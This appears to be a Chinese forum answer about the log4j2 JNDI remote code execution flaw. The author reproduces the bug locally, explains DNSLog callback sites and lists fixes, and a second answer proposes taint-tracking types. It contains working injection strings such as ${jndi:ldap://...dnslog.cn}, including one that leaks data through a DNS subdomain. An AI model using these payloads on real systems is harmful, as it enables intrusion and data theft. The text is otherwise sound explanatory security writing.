如何看待log4j2远程代码执行漏洞? 第1页

log4j一个写日志的库，不好好写日志，非要远程执行代码。

简单说类似于 登录框中的sql注入攻击。

这个库十几万代码，上万次提交。。。

回顾一下12.10一天的经历

1. 早上看到新闻，心想：这漏洞真厉害
2. 中午到了公司发现，自己的项目用的logback，躲过一劫
3. 下午吃瓜看一群同事修bug发版，在微信群里扯淡吐槽
4. 晚上在本地复现了一下攻击过程
5. 感叹，还是要多学习多进步啊，并整理了这篇回答

昨天一整天都在被公司群、闲聊扯淡群、知乎上log4j2漏洞的事情刷屏。各位小伙伴分享着自己公司的解决方案，吐槽半夜被叫醒加班补漏洞，还有说全公司都在发版导致发布系统挂了现在只能划水吃瓜。当然，还有各种科普贴描述漏洞的原因、攻击原理以及千篇一律的带有计算器的被打码的截图和这个http://dnslog.cn网站的dns记录截图。

作为一名纯粹的后端搬砖程序员，平日对安全领域真的是没啥涉猎。所以这个网站是干啥的？为啥有记录就证明百度、iCloud被攻击了？于是抱着学习的态度研究了一番，有了一丢丢的收获。

DNSLog网站是干啥的？

讲人话：DNSLog可以为你免费分配一个二级域名，并记录这个二级域名做DNS解析过程中的域名和IP映射关系的请求记录。当你对这个二级域名进行请求时，自然会进行DNS解析，所以你就会在当前的页面查看到解析的记录。

比如我随机分配到了这个域名：http://7lqs4g.dnslog.cn

之后我请求这个域名，当然，什么都不会返回。但是在DNSLog的页面上，会显示域名解析记录，如图：

如何证实漏洞？

本次的log4j2漏洞，是通过构造一个${jndi:ldap://http://blabla.com}格式的字符串，在log4j2打印包含这个字符串的日志时，通过JNDI对ldap://http://blabla.com进行请求。所以，如果能注入成功，则在请求网址的时候，会对http://blabla.com这个域名进行解析，并留下解析记录。

所以这就是为什么，用DNSLog网站的截图来证明，各大网站存在漏洞的原因。因为注入成功就会有记录呀。

于是在本地也感受一下。新建一个Spring Boot的Web项目，配置好我们这次的主角log4j2。

写一个简单的post请求的接口，里面的内容就是输出请求的信息。对这个接口进行正常的请求，输出如下：

之后我们在将请求构造成注入攻击的格式，带上我们新申请的二级域名：${jndi:ldap://http://gc46bp.dnslog.cn}。再发起一次请求，结果如图：

可以看到，攻击生效了，回到DNSLog页面上刷新一下DNS解析记录，已经出现了。

漏洞解决

目前各大厂给出的方案可以参考这篇回答：

总结起来有以下几个：

彻底解决方案

log4j升级到2.15.0版本

暂时解决方案

• 修改log4j2配置：log4j2.formatMsgNolookups=True
• 修改JVM参数 -Dlog4j2.formatMsgNoLookups=true

这个方案我尝试之后是可行的

平替方案

那就是不用log4j2啦，直接用logBack就好了哈哈哈哈。

因为自己的项目使用的是logback，所以这一整天就看别人在那升级版本上线了，全程吃瓜。

而且也因为Spring Boot是默认使用的logback，所以做测试的项目创建后忘了配置接入log4j2，测了几次发现没bug啊……尴尬。

DNSLog还能干啥

再说回到DNSLog。那这个网站就只是看一下DNS解析记录？并不是，其实他的作用是对注入获得的信息进行回显。你可以将要回显的信息构造成子域名，这样信息就可以直接在DNS解析记录里看到了。

设计一个蹩脚的漏洞来攻击

那么我们就可以结合刚才的知识，来设计一个暴露网站敏感信息的供给。假如我的脑残网站有这样的代码：

然后我构造如下的入参，进行注入攻击：${jndi:ldap://{}.http://hbh9cz.dnslog.cn}

可以看到，实际上输出的日志变成：

再查看DNSLog的解析记录，可以看到我们要的信息已经带出来了。

哎，要学的东西实在是太多了，作为程序员，还是要不断学习不断进步，以后遇到这种漏洞产生的危害时，才能从容应对啊。这里准备了一些Java程序员的学习资料，一起进步吧。

草率引入已知有远程执行风险的JNDI，默认启用并且长期没有人关注是问题之一，但我认为最根本的还是来自于不可信任来源的数据（用户输入）最终在没有任何监管的情况下被当作了必须被信任的数据（被解析+执行的命令）。在现代编程实践中，我们必须认识到，因为各类动态特性的引入，数据和代码并不能被严格区分，不可信任的数据应该像不可信任的代码一样被谨慎处理，而目前的编译系统并不能有效区分数据来源。区分数据来源和可信度对业务系统来说比区分数据类型重要得多，而现在的类型系统花时间区分String还是int，却对源自于用户的String和源自于可信位置的String毫不区分，这是非常荒唐的事情。

也许以后的类型系统可以增加一种“染色”的特性：

1. 颜色可以像C++中的“const”一样，作为类型的一种修饰，至少有“无色”和“黑色”两种不同的颜色
2. 编译时常量是“无色”的，代表可信任
3. 底层IO接口（File/Socket）输出的结果是“黑色”的，代表不可信任
4. 有“黑色”数据参与的运算，输出结果都是“黑色”
5. 函数在编译过程中会自动生成染色规则并且缓存起来，染色规则指哪些参数是输入或输出，哪些参数的颜色会被“染”到输出或者返回值上面
6. 基于虚函数的接口默认最严格的染色规则（所有参数都会染到所有输出），可以自己声明需要的染色规则，在接口实现的时候会进行编译检查
7. 变量的颜色可以强制指定，也可以在赋值时自动推断；全局变量、成员变量通常默认为黑色，可以声明为其他颜色（如无色），赋值时如果不符合相应颜色无法编译通过
8. OOP中，this被视为一个IN/OUT参数，并且有相应的颜色，调用接口时视为同时对this指向的对象进行了一次带染色的赋值。如果指定某个对象引用为无色，则类似于C++中const的情况，只有调用中不会将this染成其他颜色的接口（包括传入参数全都是无色，或者这个接口不会导致this染色，即不会对成员变量进行带染色赋值）可以使用。这个特性可以保护无色的可变对象不会意外引入带颜色的数据。
9. 可能引入安全问题的接口中，参数会被强制指定为“无色”，例如JNDI、executeSQL、exec、eval一类的函数，被染色的参数输入时编译无法通过。
10. 和所有的类型系统一样，允许使用强制转换强制设置值的颜色来在特定情况下绕过检查
11. 用户或者库可能引入更多的颜色和规则来执行自定义的检查，例如不同的网络来源有不同的颜色，或者同时禁止format使用用户输入数据等等。